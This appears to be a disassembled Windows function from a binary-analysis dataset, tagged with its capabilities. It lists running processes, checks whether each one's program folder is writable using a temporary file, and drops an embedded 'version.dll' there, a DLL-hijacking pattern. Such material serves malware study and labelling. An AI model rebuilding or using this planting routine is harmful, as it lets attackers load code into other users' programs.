Function at 0x14009d030
Capabilities:
Delete file
Enumerate processes
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x398
call fcn.14000b800
lea rsi, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdi, rsi
mov ecx, 0x26
xor edx, edx
mov ebp, eax
xor eax, eax
rep stosq qword [rdi], rax
mov ecx, 2
mov dword [rsp + 0x260], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x14009d3b4
lea rax, [rsp + 0x50]
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x40], rax
lea r14, [rsp + 0x40]
mov qword [rsp + 0x48], 0
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14009d348
mov r12, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r14, [rsp + 0x40]
lea rdi, [rsp + 0x150]
lea r13, [rsp + 0xc0]
jmp 0x14009d0f3
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14009d348
mov r8d, dword [rsp + 0x268]
cmp ebp, r8d
je 0x14009d0e0
xor edx, edx
mov ecx, 0x1000
call r12
test rax, rax
je 0x14009d0e0
mov r9d, 0x104
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleFileNameExA
test eax, eax
je 0x14009d0e0
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov rdx, rdi
mov rcx, r13
lea r8, [rdi + rax]
call fcn.140071780
lea r15, [rsp + 0xe0]
mov rcx, r15
call fcn.140072960
mov rcx, r13
call fcn.140071aa0
mov rcx, r13
call fcn.14001bcf0
test al, al
je 0x14009d338
lea rax, [rsp + 0xf0]
lea rdx, [0x14018805b]
mov rcx, rax
mov qword [rsp + 0x28], rax
call fcn.140001b10
lea r15, [rsp + 0x120]
mov rdx, r13
mov rcx, r15
call fcn.1400749a0
mov rdx, qword [rsp + 0x28]
mov rcx, r15
call fcn.140074cb0
lea rax, [rsp + 0xa0]
mov rdx, r15
mov rcx, rax
mov qword [rsp + 0x20], rax
call fcn.1400014a0
mov rcx, qword [rsp + 0x20]
lea rdx, str._tmp
call fcn.14008d6f0
lea r10, [rsp + 0x60]
mov rdx, rax
mov rcx, r10
mov qword [rsp + 0x30], r10
call fcn.14008ef80
mov rcx, qword [rsp + 0x20]
call fcn.14008c2c0
mov rcx, r15
call fcn.140074a70
mov rcx, qword [rsp + 0x28]
call fcn.140074a70
mov rcx, qword [rsp + 0x60]
lea rdx, [0x140188063]
call sub.msvcrt.dll_fopen
test rax, rax
mov qword [rsp + 0x38], rax
je 0x14009d32e
lea rcx, str.path___s_is_accessible_n
mov rdx, rdi
call fcn.140001450
lea rdx, str.path
mov rcx, r14
call fcn.14008d6f0
mov rdx, rdi
mov rcx, r14
call fcn.14008d6f0
lea rdx, str._is_accessible_n
mov rcx, r14
call fcn.14008d6f0
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_fclose
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_remove
mov rcx, qword [rsp + 0x28]
lea rdx, [0x14018805b]
call fcn.140001b10
mov rdx, r13
mov rcx, r15
call fcn.1400749a0
mov rdx, qword [rsp + 0x28]
mov rcx, r15
call fcn.140074cb0
mov rcx, qword [rsp + 0x20]
mov rdx, r15
call fcn.1400014a0
mov rcx, qword [rsp + 0x20]
lea rdx, str._version.dll
call fcn.14008d6f0
mov rdx, rax
lea rax, [rsp + 0x80]
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.14008ef80
mov rcx, qword [rsp + 0x20]
call fcn.14008c2c0
mov rcx, r15
call fcn.140074a70
mov rcx, qword [rsp + 0x28]
call fcn.140074a70
mov rcx, qword [rsp + 0x80]
lea rdx, [0x1401880a0]
call sub.msvcrt.dll_fopen
test rax, rax
mov r15, rax
je 0x14009d386
mov r8d, dword [section..data]
mov r9, rax
mov edx, 1
lea rcx, [0x14009f020]
call sub.msvcrt.dll_fwrite
mov rcx, r15
call sub.msvcrt.dll_fclose
mov rcx, qword [rsp + 0x38]
call fcn.14008c2c0
mov rcx, qword [rsp + 0x30]
call fcn.14008c2c0
mov rcx, r13
call fcn.140074a70
jmp 0x14009d0e0
mov rdx, qword [rsp + 0x40]
lea r8, str.hello_world
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14008c2c0
xor eax, eax
add rsp, 0x398
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, str.fail
mov rcx, r14
call fcn.14008d6f0
mov rdx, rdi
mov rcx, r14
call fcn.14008d6f0
lea rdx, str._fail_n
mov rcx, r14
call fcn.14008d6f0
jmp 0x14009d324
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateToolhelp32Snapshot_fail___x_n
mov edx, eax
call fcn.140001450
mov eax, 1
jmp 0x14009d372